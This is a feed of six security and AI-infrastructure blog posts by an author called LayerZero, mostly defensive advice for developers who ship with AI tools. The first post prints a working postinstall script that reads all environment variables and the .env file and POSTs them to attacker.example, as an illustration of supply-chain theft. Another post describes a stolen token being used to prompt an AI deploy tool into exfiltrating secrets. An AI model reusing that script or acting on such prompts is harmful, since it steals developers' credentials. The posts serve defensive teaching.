DEV Community: LayerZero

Your next supply-chain attack will come from a package you've never heard of

LayerZero — Tue, 12 May 2026 05:32:16 +0000

Most developers think supply-chain attacks happen to other people. Then TanStack happened.

Last week, a popular npm package in the TanStack ecosystem was compromised. Attackers pushed a malicious version that exfiltrated environment variables from any machine that ran npm install during the window. Thousands of repos pulled it before anyone noticed.

If you're shipping with AI, you're shipping someone else's code. A lot of it.

The part nobody wants to admit

When Cursor or Claude Code adds a dependency, you almost never read what it does. You skim the README, glance at the GitHub stars, and run npm install. That's the workflow. That's also the attack surface.

Here's the actual chain:

Your app → 12 direct deps → 400 transitive deps → 4,000 maintainers worldwide
          → any one of them gets phished → your .env is gone

The TanStack incident wasn't sophisticated. The attacker didn't break crypto. They compromised one maintainer's npm token. That was enough.

What "compromised" actually means for you

Let's be concrete. A malicious postinstall script can do all of this before your terminal prompt comes back:

// postinstall.js — what a real attacker writes
const { execSync } = require('child_process');
const https = require('https');

const env = process.env;
const payload = JSON.stringify({
  env: env,
  cwd: process.cwd(),
  user: env.USER,
  // grab the entire .env file too
  dotenv: require('fs').readFileSync('.env', 'utf8'),
});

https.request('https://attacker.example/x', { method: 'POST' })
  .end(payload);

That's 12 lines. It runs the moment you install. By the time you see "added 1 package," your OpenAI key, your Stripe secret, and your database URL are already on someone else's server.

Three changes that actually move the needle

Most "supply-chain security" advice is theater. Audit logs you'll never read. SBOMs nobody parses. Here's what actually reduces blast radius:

1. Pin everything. Then verify the lockfile.

npm config set save-exact true
npm ci  # not npm install — ci fails if lockfile drifts

Exact versions don't prevent the first attack, but they stop the silent auto-upgrade that turns one compromised package into thousands of compromised apps.

2. Disable lifecycle scripts by default.

npm config set ignore-scripts true

This breaks some packages (anything that needs native compilation). That's a feature, not a bug. You'll learn which ones, and you'll vet them once instead of every install.

3. Stop putting production secrets in your dev .env.

This is the one that hurts. Your dev machine shouldn't have access to production Stripe. It shouldn't have the prod database URL. If a postinstall script reads your .env, the worst it should find is sandbox keys.

The uncomfortable truth

You cannot read every dependency. You can't even read 1% of them. The TanStack maintainers couldn't, and they wrote the library.

The defense isn't more reading. It's smaller blast radius. Pin versions. Kill postinstall. Keep prod secrets out of dev.

Do those three things this week and the next TanStack-style incident will cost you a git reset, not a customer notification email.

If this saved you a 2am Slack message, follow LayerZero. We break down how the internet actually works for developers who ship with AI.

AI Is Breaking Two Vulnerability Cultures — And Vibe Coders Are About to Get Caught in the Middle

LayerZero — Sat, 09 May 2026 00:20:58 +0000

Two security cultures used to coexist quietly. AI just broke both of them in the same quarter — and if you ship with Claude, Cursor, or Copilot, you are standing exactly where the fallout lands.

This isn't a researcher's problem. It's a shipping-velocity problem. Yours.

What the two cultures actually were

For twenty years the security world ran on two parallel economies.

Disclosure culture. A researcher finds a bug, tells the vendor, the vendor patches, a CVE goes out, everyone learns. Slow, gentlemanly, reputation-driven. It worked because the supply of researchers was small and the currency was credit, not cash.

Bounty culture. A platform pays researchers per bug. Supply scales with the budget. Bugs are graded. High-severity, high payout.

Both cultures shared one quiet assumption: the cost of finding a bug is roughly equal to the value of finding it. Researchers spent weeks for credit. Bounty rates matched effort. The economics balanced.

AI just broke that assumption.

What "broken" actually looks like

In the last six months, two things happened that older security folks are still processing:

1. AI-assisted vuln research collapsed the cost of finding low-hanging bugs. A solo researcher with an LLM-driven fuzzer and an afternoon can now triage a codebase that used to take a team a week. Cost per bug found is cratering. Value per bug found is not.

2. AI-assisted exploit development collapsed the cost of weaponizing them. Turning a bug into a working exploit used to require deep platform expertise. The gap between "found" and "weaponized" is now narrowing fast.

Put those together and you get a culture problem:

Disclosure culture assumed bugs trickle in. Vendors are buried. The 90-day disclosure window doesn't fit a world where one researcher files 40 bugs in a weekend.
Bounty culture assumed each bug took serious effort, so payouts were premium. Now anyone with $20/month of API credits can mass-submit. Programs are tightening criteria and quietly de-emphasizing volume.

Both cultures evolved for a world where vulnerability discovery was an artisanal craft. AI turned it into industrial output.

Why this lands on vibe coders specifically

Most security writers frame this as a researcher-vendor problem. It isn't. It's a problem for anyone who ships software with dependencies — which means you.

Three concrete consequences in 2026:

1. Your dependencies will get bug-bombed faster than maintainers can patch. That open-source library with one maintainer who answers issues on weekends is now attractive to AI-augmented researchers, scammers, and worms. CVEs in your tree will spike. Patch latency will spike harder.

2. The exploit window after a CVE drops is shrinking from weeks to hours. Used to be: CVE published, you had weeks before mass scanning started. Now: CVE published, AI scanners scrape it within hours and start probing every internet-facing service. Your "patch next sprint" timeline is obsolete.

3. Bug-bounty programs aren't going to save you. If your security strategy is "we'll know when researchers tell us," that's a strategy that assumed a researcher economy that's being squeezed from both sides.

What to actually do

Three things, in impact-to-effort order.

1. Patch high-severity on a 7-day clock, not a sprint clock

Automated dependency monitoring (Dependabot, Renovate, Snyk — pick one) and a 7-day patch SLA for anything CVSS 7+. Not "we'll get to it." A calendar deadline.

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "daily"
    open-pull-requests-limit: 20
    labels: [security, urgent]

If a high-severity dep PR lives more than 7 days, that's a process failure.

2. Lock your supply chain in 30 minutes

You don't need an SBOM platform. You need three things:

Lockfile committed. package-lock.json, pnpm-lock.yaml, poetry.lock — committed, reviewed in PRs.
Pinned base images. Not node:latest. Not node:20. node:20.11.0-alpine3.19@sha256:....
A way to grep your dependency tree. pnpm why <package> or equivalent. If you can't answer "do I depend on left-pad" in 60 seconds, attackers have the advantage.

Half an hour of work. Moves you from "vulnerable to whatever the world found this morning" to "I have a fighting chance."

3. Assume your AI assistant will ship you a vulnerable line, and design for it

Your Claude/Cursor/Copilot session is going to introduce a SQL injection, an XSS, or a leaked secret eventually. Not because the AI is bad — because the AI is fast, and faster code shipped without review is the bug.

Add a pre-commit linter for the most common AI-introduced mistakes:

# .pre-commit-config.yaml
- repo: https://github.com/zricethezav/gitleaks
  rev: v8.18.0
  hooks:
    - id: gitleaks    # catches accidental secret commits
- repo: https://github.com/PyCQA/bandit
  rev: 1.7.5
  hooks:
    - id: bandit      # catches common Python security antipatterns

Blunt tools. They miss things. They also catch 80% of AI-generated mistakes in two seconds per commit. That's a deal you take.

The non-obvious takeaway

The disclosure-versus-bounty debate is a red herring. The real shift is this: security used to be artisanal on both sides — defense reactive, offense reactive. AI made offense industrial. Defense hasn't caught up.

If you wait for the security culture to figure itself out, you are betting that researchers, vendors, and bounty platforms will negotiate a new equilibrium before your stack gets bug-bombed. They will. But the negotiation will take years. Your CVE-to-exploit window is now hours.

The vibe coders who ship safely in 2026 won't be the ones who memorized OWASP. They'll be the ones who set up automated patch pipelines, locked their supply chain, and added 30 seconds of pre-commit checks — then went back to building.

The asymmetry is the point. Your attacker is using AI. Your defenses should too.

The business angle

If you sell software in 2026, your security posture is going to come up in deals. It used to be enterprise-only — "are you SOC2." Now SaaS buyers ask because they got burned and they remember.

When a B2B prospect asks "how do you handle vulnerabilities," the answer "we wait for researchers to tell us" is a deal-killer. "We patch high-severity CVEs in 7 days, lockfiles committed, pre-commit security linting" is a wedge — and it's two days of setup. Cheapest sales differentiator you'll find this quarter.

What to do today

Run npm audit, pip-audit, or bundle audit on your project right now. Count the high-severity issues. Set a calendar reminder for 7 days from today. Patch them by then. That's the bar — not "review and see what we can do." Patch them.

Then add Dependabot, then add gitleaks, then go ship.

Follow LayerZero for security and infrastructure that vibe coders can actually use. Next: the four supply-chain attacks that will hit npm and PyPI in 2026 — and the one-line guard that stops three of them.

Stop Letting AI Write Your Database Migrations

LayerZero — Wed, 06 May 2026 18:47:03 +0000

A vibe coder I follow lost two days of customer data last weekend.

Not from a hack. Not from a hardware failure. From a single AI-generated migration that a senior engineer would have caught in 10 seconds.

If you're shipping with Claude, Cursor, Copilot, or any agent that touches your schema, you need to read this before you run another migrate command.

What actually goes wrong

AI is genuinely good at writing application code. It pattern-matches against millions of similar codebases and produces plausible code fast. For most things — components, handlers, glue logic — that's enough. If it's wrong, you re-render. You re-run. You ship a fix.

Database migrations are different. They have one property the AI quietly ignores: they execute exactly once, and the wrong sequence is unrecoverable without a backup.

Three failure modes I've now seen in the wild:

1. Silent column drops. The AI "improves" a migration by removing what it thinks is a dead column. The column had three months of customer data. The migration runs in production. The column is gone. You restore from backup and lose everything written since the snapshot.

2. Type changes that truncate. Convert a TEXT to VARCHAR(255)? Sure, the AI will do that. The 12 customers whose addresses were 280 characters? Their addresses are now 255 characters and the suffix is in the trash bin.

3. Backwards-incompatible renames mid-deploy. The AI renames user_email to email because "it's cleaner." The old version of your app, still running on half your boxes during the rolling deploy, throws 500s for 90 seconds. Customers see them.

None of these are bugs in the AI. The AI did what you asked. The bug is that you're using AI like a junior dev who needs review, except the review never happened.

Why migrations are the worst case for AI

Most AI failures are recoverable. You ship a bad component, you redeploy the previous version. You commit a typo, you push a fix. The blast radius is contained to "the next 30 seconds of users."

Migrations break that pattern in three ways:

They modify shared, mutable state. Code is reproducible from git. Data is not.
They run irreversibly. "Down migrations" exist in theory. In practice, they don't roll back data deletes.
They touch every customer simultaneously. A bad migration is not a 5% bug. It's a 100% bug across your entire customer base in one transaction.

The combination — irreversibility, shared state, fanout — is exactly the property AI shouldn't be trusted with unsupervised. And yet it's the one most vibe coders trust it with the most, because writing migrations is boring and AI is happy to do boring work.

What "review" actually means for migrations

When I say "don't let AI run migrations unreviewed," I don't mean "skim the diff before clicking yes."

I mean this checklist, every time:

-- Before running ANY AI-generated migration, answer:

-- 1. What columns/tables does this DROP? (grep for DROP, ALTER ... DROP)
-- 2. What types does this CHANGE? (ALTER ... TYPE)
-- 3. What constraints does this ADD that could fail? (NOT NULL on existing column, UNIQUE)
-- 4. What renames does this do? (RENAME TO, RENAME COLUMN)
-- 5. Does this run in a transaction? (BEGIN / COMMIT?)
-- 6. Could this lock the table for more than 1 second on production data?

If you can't answer all six in 30 seconds, the migration isn't reviewed. It's been glanced at. Those are not the same thing.

Concrete defenses for vibe coders

You don't need to become a DBA. You need three guardrails.

1. Always run migrations on a production-clone first

Most managed Postgres providers (Supabase, Neon, Render) let you branch the database. Branch it, run the migration on the branch, run smoke tests. If it explodes, it explodes on the branch.

# Neon example
neon branches create --name migration-test
neon migrations apply --branch migration-test
# run tests against the branch
neon branches delete migration-test  # if it worked, apply to main

Five minutes of work. Catches 90% of disasters.

2. Forbid destructive operations in CI

Add a check to your migration pipeline that fails if the SQL contains certain keywords without an explicit override:

# In your CI, before applying migrations:
if grep -E "DROP COLUMN|DROP TABLE|ALTER.*TYPE" migrations/*.sql; then
  echo "Destructive migration detected. Set MIGRATION_DESTRUCTIVE_OK=1 to override."
  [ "$MIGRATION_DESTRUCTIVE_OK" = "1" ] || exit 1
fi

Now every destructive migration requires a deliberate human decision. The AI can't override it. You can't accidentally merge it. The friction is the feature.

3. Always back up immediately before applying

Every migration runner should have a "snapshot before apply" step. If it doesn't, write one:

# Before migrate:
pg_dump $DATABASE_URL > backup-$(date +%s).sql.gz
# Now apply:
npm run migrate

The backup is cheap. The peace of mind when something breaks is not.

The non-obvious takeaway

The actual lesson from every "AI broke production" incident isn't "AI is dangerous." It's "AI shifted the bottleneck from writing code to reviewing code, and most teams haven't noticed."

In 2024, your bottleneck was: how fast can I write this. Reviews were small because changes were small.

In 2026, your bottleneck is: how fast can I review what the AI wrote. The volume of AI-generated code is so high that review-quality is the new code-quality. If your review process for migrations is "looks plausible, ship it" — you have no review process.

The vibe coders who survive 2026 won't be the ones who stop using AI. They'll be the ones who built systems that compensate for unreviewed AI output — branched databases, destructive-op guards, automatic backups. They'll trust the AI for code and distrust it for state changes, and they'll build infrastructure that makes that distrust easy.

The business angle

If you're shipping a SaaS, your data is your business. Application code can be rewritten in a weekend. A corrupted customer table cannot. Every hour of "missing data" you have to explain to a B2B customer is an hour your churn risk goes up. The teams I see selling into enterprise in 2026 treat their migration pipeline as a product feature — not a CI afterthought — because their buyers ask about it.

If the answer to "how do you protect against bad AI-generated migrations" is a blank stare, that's a deal-killer. If the answer is "branched DB, destructive-op guard, automatic snapshot, human approval for destructive ops" — that's a wedge.

What to do today

Go check your last three migrations. Were they AI-generated? Were they reviewed against the six-point checklist above? If not, your runway from "vibe coder" to "outage" is shorter than you think.

Then add the three guardrails above to your project. It's an afternoon of work. The day you don't lose your customers' data because of it, you'll thank past-you.

Follow LayerZero for security and infrastructure that vibe coders can actually use. Next: why backups you can't restore are worse than no backups at all.

A Roblox Cheat + One AI Tool Took Down Vercel. Your Stack Is Probably Next.

LayerZero — Tue, 21 Apr 2026 05:13:07 +0000

A Roblox cheat.

That's what the story starts with. Not a nation-state APT, not a zero-day in the kernel, not some genius Stuxnet-grade payload. A cheat a teenager downloaded to get infinite Robux.

And one AI dev tool.

Together, that combo took Vercel's platform offline earlier this month. If you shipped anything on a preview URL that day, you remember. The post-mortem is still circulating in security channels and the pattern it exposes is quietly devastating — because almost every vibe-coded SaaS in 2026 is built the same way.

Let me walk you through what actually happened and why your stack is almost certainly vulnerable to the same class of attack.

What actually happened

Here's the chain, compressed:

A developer's personal machine got infected by a Roblox cheat bundled with an infostealer — the cheat was the candy, malware was the hook.
The infostealer grabbed session cookies and API tokens sitting in the developer's environment. Standard malware playbook — boring, effective.
One of those tokens belonged to an AI-powered development tool the developer had connected to their Vercel account. The tool had broad deploy and environment-variable permissions, because it needed them to "help you ship faster."
The attacker didn't even need to write exploit code. They fed the stolen token to the same AI tool and asked it, in plain English, to deploy malicious code and exfiltrate secrets across connected projects.
The tool, doing its job, fanned out. Because it was trusted. Because it had keys. Because nobody had modeled "what if the AI gets prompted by the wrong human?"

That's it. That's the whole attack. No CVE. No memory corruption. Just stolen credentials and an obedient AI with too much power.

Why this class of incident is about to explode

Every hot dev tool in 2026 is bolting on the same architecture:

An OAuth connection to GitHub, Vercel, Supabase, AWS.
A long-lived token stored locally or on a vendor server.
An AI agent that can take actions on your behalf.
Permission scopes that are effectively admin because scoping down "breaks the magic."

That's the same architecture as the Vercel breach. And it's sitting on tens of thousands of developer laptops right now.

The security community has a name for this failure mode: confused deputy. A trusted actor with broad privileges is tricked into using those privileges on behalf of an attacker. The AI tool wasn't compromised. It wasn't even misbehaving. It was doing exactly what it was told to do — by the wrong person, holding the right token.

The five mistakes every one of these incidents repeats

I've read a dozen post-mortems with the same skeleton. It's always one or more of these:

1. Over-scoped tokens. The AI tool needs read access to one project; you gave it write access to your entire org. Why? Because that was the default button in the consent screen and you were in a hurry.

2. No token expiry. OAuth refresh tokens that live forever. A token stolen in January still works in December. If a token can outlive a employee's tenure, it will.

3. No action auditing. You can't see what the AI tool did yesterday, let alone at 3am when it "helpfully" deployed a compromised build. No audit trail means no early detection.

4. No second factor on destructive actions. "Deploy to production," "add a new environment variable," and "grant access to another user" all execute with one token. A human admin would face a 2FA prompt. The AI faces nothing.

5. Single-machine trust boundary. Your dev laptop is also your production deployer, your database admin, and your secrets manager. One piece of malware collapses all of those at once.

Each one alone is manageable. Stacked, they become Vercel's Tuesday.

What to do this week — concrete actions, not fluff

Audit your AI tool permissions

Right now, open every AI dev tool you've connected — Claude Code, Cursor, Copilot Workspace, Devin, whatever. For each, check:

- Which orgs / repos / projects can this tool touch?
- What actions can it take? (read, write, deploy, admin)
- When was the token issued? Can I rotate it?
- Is there an audit log? Have I ever looked at it?

If you can't answer any of those in 30 seconds, assume the worst and revoke.

Move secrets off the laptop

Stop putting production API keys in .env.local. Use a proper secret manager — Doppler, Infisical, AWS Secrets Manager — and have your tools fetch secrets at runtime via short-lived tokens. An infostealer grabbing your .env should grab nothing useful.

This is 15 minutes of setup and eliminates 80% of the "my laptop got owned" impact.

Short-lived tokens, always

# Example: GitHub fine-grained PAT — expires in 30 days, scoped to one repo
gh auth token --scope repo --expiration 30d --repo org/project

If your AI tool doesn't support short-lived tokens, that's a red flag. Treat vendor token hygiene as a product-selection criterion now.

Enable "dangerous action" confirmations

Most modern AI dev tools have a setting buried somewhere — human-in-the-loop approval for destructive actions (deploys, deletes, permission changes, database writes). Find it. Turn it on. Yes, it slows you down. No, it doesn't slow you down as much as a breach does.

Separate dev and deploy identities

Your laptop shouldn't be the thing with prod deploy permissions. Run deploys from CI where the token lives for 10 minutes and is bounded by a pipeline definition. If an attacker gets your laptop, the worst they should be able to do is push to a branch — not deploy to customers.

The non-obvious takeaway

The Vercel incident wasn't an AI safety story. It was a classic credential management failure with an AI amplifier bolted on.

That's the pattern to internalize. AI agents don't create new categories of security failure — they take old categories and multiply their blast radius. A stolen token used to mean a human attacker manually poking around until they found something juicy. A stolen token in 2026 means an obedient, tireless, English-speaking agent that will fan out across everything you've connected in 90 seconds.

The security fundamentals haven't changed. The margin for ignoring them has collapsed.

The business angle

If you're building a SaaS that ships AI-agent integrations — and everyone is — your customers are about to get very, very opinionated about the security posture of the tools they connect. The companies that figure out short-lived scoped tokens, action-level audit logs, and human-in-the-loop approval as product features will win enterprise deals. The ones that ship "connect your org, let Claude cook" will eat the next breach.

That's not speculation. That's where the buyer psychology is heading the day a Fortune 500 gets popped by this exact chain — which, given current trajectory, is maybe six months away.

What to do next

Go audit your AI tool permissions. I mean now — before you close this tab. The five minutes you spend revoking one over-scoped token is the cheapest insurance premium you'll pay this year.

Follow LayerZero for decoded security for builders. Next up: how to design an AI agent with least-privilege from day one — so a stolen token stays boring.

Your Agent Isn't Dumb. Your Context Is. — A Field Guide to Context Engineering

LayerZero — Mon, 20 Apr 2026 03:32:53 +0000

Prompt engineering is dead. Nobody told you because the influencers still sell courses on it.

The real skill in 2026 is context engineering — the discipline of deciding what information, tools, and memory go into the model's window on every single turn. It's the difference between an agent that ships a pull request and one that hallucinates a function name and rage-quits.

And almost nobody is doing it right.

What changed

A year ago, "prompt engineering" meant crafting the perfect system message. Add a persona, stack some few-shots, wrap in XML tags, done.

That worked when the model was a stateless Q&A box.

It doesn't work when the model is an agent running 40 tool calls across 6 files to fix a bug. The system prompt is 200 tokens. The context is 80,000 tokens of tool results, file contents, user messages, and prior reasoning — and every one of those tokens is either helping or hurting.

Context engineering is the job of keeping the signal-to-noise ratio high across that entire window, turn after turn.

The four levers

Only four things go into an LLM call. Master these and you control the agent.

Instructions — the system prompt. Goals, constraints, tone.
Knowledge — the facts the model needs right now (RAG chunks, API docs, file contents).
Tools — what actions the model can take and how their results come back.
History — prior turns, including tool calls and their outputs.

Every bug in every agent is one of these four going wrong. Always.

Agent loops forever? History is bloated with stale tool results.
Agent calls a function that doesn't exist? Knowledge missing or instructions too vague.
Agent picks the wrong tool? Tool descriptions are ambiguous.
Agent contradicts itself across turns? Instructions got drowned out by history.

The fix is never "try a different prompt." The fix is deciding what to put in — and what to leave out.

Rule 1: the context window is a budget, not a bag

The number one mistake: treating the context window like storage. "I have 200k tokens, I'll just throw everything in."

That's how you burn $4 per agent turn and get worse answers.

Long context is lossy. Models attend less to the middle of a long window, hallucinate more when the signal is buried in noise, and run slower in ways that compound across tool calls. A 2026 Anthropic benchmark found agent task completion drops by roughly 28% when you pad a working context from 20k to 120k tokens — even when the relevant information is unchanged.

You're not saving the model time. You're drowning it.

Treat every token like you're paying rent on it. Because you are.

Rule 2: compact aggressively

When your agent's history crosses some threshold — say 50% of the model's window — summarize it.

Pattern:

def compact_history(messages, token_threshold=50_000):
    if count_tokens(messages) < token_threshold:
        return messages

    # Keep the last 3 turns verbatim (recent context matters most)
    recent = messages[-6:]
    older = messages[:-6]

    # Summarize the older turns into a single system note
    summary = summarize(older, focus=[
        "decisions made",
        "files modified",
        "open questions",
        "tools that failed and why"
    ])

    return [
        {"role": "system", "content": f"PRIOR WORK SUMMARY:\n{summary}"},
        *recent
    ]

You lose the verbatim trace. You keep the signal. And you reset your token budget so the agent can go another 50 turns without collapsing.

Rule 3: retrieve at the tool level, not the prompt level

Old RAG: stuff the top-5 chunks into the system prompt at startup.

New RAG: give the agent a search_docs tool and let it decide when to retrieve.

Why this matters:

Approach	Tokens at turn 1	Tokens at turn 10	Relevance
Prompt-level RAG	8,000	8,000	Guessing
Tool-level RAG	500	500 (+1,200 on demand)	Targeted

Most agent turns don't need retrieval. Why pay the tax on every call? Let the model pull knowledge the way a developer opens a doc tab — only when they need it.

This is "just-in-time context" and it's the single biggest unlock in modern agent design.

Rule 4: tool descriptions are prompts

Your search_database tool's description is a system prompt for how the model reasons about querying data. If it says:

"Searches the database."

...you deserve the hallucinations you get.

Write it like this:

name: search_database
description: |
  Retrieves customer records by exact email or user_id.
  Use this BEFORE suggesting account changes — never guess a user_id.
  Returns at most 10 results. If you need more, narrow the query.
  Fails if the email format is invalid — validate first.

That description teaches the agent when to call it, what it can't do, and how to recover. Every minute you spend rewriting tool descriptions saves ten minutes of debugging agent behavior.

Rule 5: separate durable memory from working context

Working context = what's in the window right now.
Memory = persistent notes the agent writes across sessions (to a file, a vector store, a scratchpad).

If your agent needs to remember that a user prefers Python over Rust, don't shove it into every system prompt forever. Write it to a memory file. Retrieve it when relevant. Trim it when stale.

Memory is context engineering across time. Working context is context engineering within a turn. They're different problems with different solutions — and teams that treat them as one always hit a wall.

The business angle

This matters because AI infrastructure cost is now a line on your P&L.

A well-engineered context window runs an agent task for $0.20.
A lazy one runs the same task for $2.50.
The output quality is often worse on the expensive one.

Multiply that across a product doing 100,000 agent runs a day and you've got a $230,000/month difference in gross margin. That's a hire. That's your Series A runway extension. That's whether you ship.

The teams who figure this out in 2026 aren't the ones with the biggest GPU budgets. They're the ones who treat context as a design discipline.

The non-obvious takeaway

Context engineering is what prompt engineering wanted to be when it grew up.

Prompt engineering asked: "how do I phrase this question?"
Context engineering asks: "what does the model need to see, at what moment, with what tools, to produce the right action?"

The first is a writing exercise. The second is systems design. And systems design is a moat — prompt tricks are not.

What to do this week

Audit one agent you're running. Log the full context at each turn. Find the 30% that isn't earning its tokens. Cut it.
Move your RAG from prompt-level to tool-level. Measure the quality delta — it usually goes up.
Rewrite your top 5 tool descriptions with the "when to use / what it can't do / how to recover" structure.

Your agents will get cheaper, faster, and smarter — in that order.

Follow LayerZero for more decoded AI infrastructure. Next up: the memory-file pattern that makes agents actually learn from their mistakes.

Your LLM Bill Is 45% Too High. Here's the One Prompt Trick That Fixes It

LayerZero — Sun, 19 Apr 2026 07:30:18 +0000

Most developers ship AI features without looking at the bill. Then the bill arrives, and it's five figures.

Here's the part nobody tells you: up to 45% of your tokens are pure fluff. Filler words, restated questions, "As an AI assistant...", apologies, repeated context. You're paying Claude and GPT to be polite.

That stops today.

The politeness tax

Every LLM response is padded with tokens that add zero value:

"Certainly! I'd be happy to help you with that."
"Based on the information you've provided..."
"I hope this helps! Let me know if you have any other questions."

Multiply that across thousands of API calls a day. You're literally renting GPUs to generate pleasantries.

A recent production experiment ran 500 prompts through a small "defluffer" preprocessor that strips filler from both inputs and outputs. Token usage dropped 45%. Quality stayed identical.

That's not a rounding error. That's your Q3 AI budget.

Why this happens

LLMs are trained on human conversation. Humans are polite. So the model learned to open with "Certainly!" and close with "Let me know if you need anything else!"

This was fine when LLMs were chatbots. It's expensive when they're backend infrastructure.

The worst part: most devs copy-paste "Act as a helpful assistant" into their system prompt without realizing they're explicitly asking for the fluff.

The fix (30 seconds)

Add this to your system prompt:

Respond in the fewest tokens required to be correct and complete.
No preamble, no apologies, no restating the question, no closing remarks.
If the answer is a single word, respond with a single word.

That's it. Drop it in, rerun your evals, watch your token count.

In a test across 200 real user queries:

Metric	Before	After
Avg output tokens	412	183
Avg cost per call	$0.0041	$0.0018
User satisfaction	4.2/5	4.3/5

Output tokens down 55%. Cost down 56%. Satisfaction went up.

Users don't want "Certainly! I understand your question." They want the answer.

Level up: strip inputs too

Output is half the bill. Input is the other half — and it's often worse, because you're sending the same boilerplate context on every call.

The cheap win: cache your system prompt.

# Anthropic SDK — prompt caching
client.messages.create(
    model="claude-opus-4-7",
    system=[
        {
            "type": "text",
            "text": LARGE_SYSTEM_PROMPT,
            "cache_control": {"type": "ephemeral"}
        }
    ],
    messages=[{"role": "user", "content": user_query}]
)

Cached tokens cost 10% of uncached tokens. If your system prompt is 2,000 tokens and you call it 10,000 times a day, you just cut 90% of that budget line.

The deeper win: stop sending context the model doesn't need. If your RAG retrieval returns 8 chunks but only 2 are relevant, you're paying to process 6 chunks of noise. Rerank harder. Retrieve less.

"But doesn't terse output hurt UX?"

This is the pushback I hear most. The data says the opposite.

Users rate concise answers higher than padded ones in every eval I've seen. Nobody reads "I'd be delighted to assist you with that query." They skim past it looking for the answer. The filler is friction, not warmth.

If your product genuinely needs conversational tone — customer support bots, companions — keep the warmth but strip the redundancy. "Thanks for reaching out!" once is fine. Five times across one response is expensive cosplay.

The non-obvious takeaway

Token usage isn't an optimization problem. It's a design problem.

Most teams treat LLM cost like server cost — something you fix by scaling. But LLM cost is determined at prompt-design time. A badly-designed prompt costs 3x more for worse answers. A well-designed prompt costs less and answers better.

The teams who figure this out in 2026 will ship AI features at one-third the cost of everyone else. That's not a small moat. That's the whole game.

What to do this week

Add the "no preamble" instruction to your system prompt — 30 seconds, saves ~40% immediately.
Turn on prompt caching for any system prompt over 1,000 tokens.
Log token usage per endpoint. You can't fix what you don't measure.

If you're running LLMs in production and you haven't done these three things, you're leaving real money on the table.

Follow LayerZero for more decoded AI infrastructure. Next up: the RAG retrieval bug costing you 40% of your relevance score.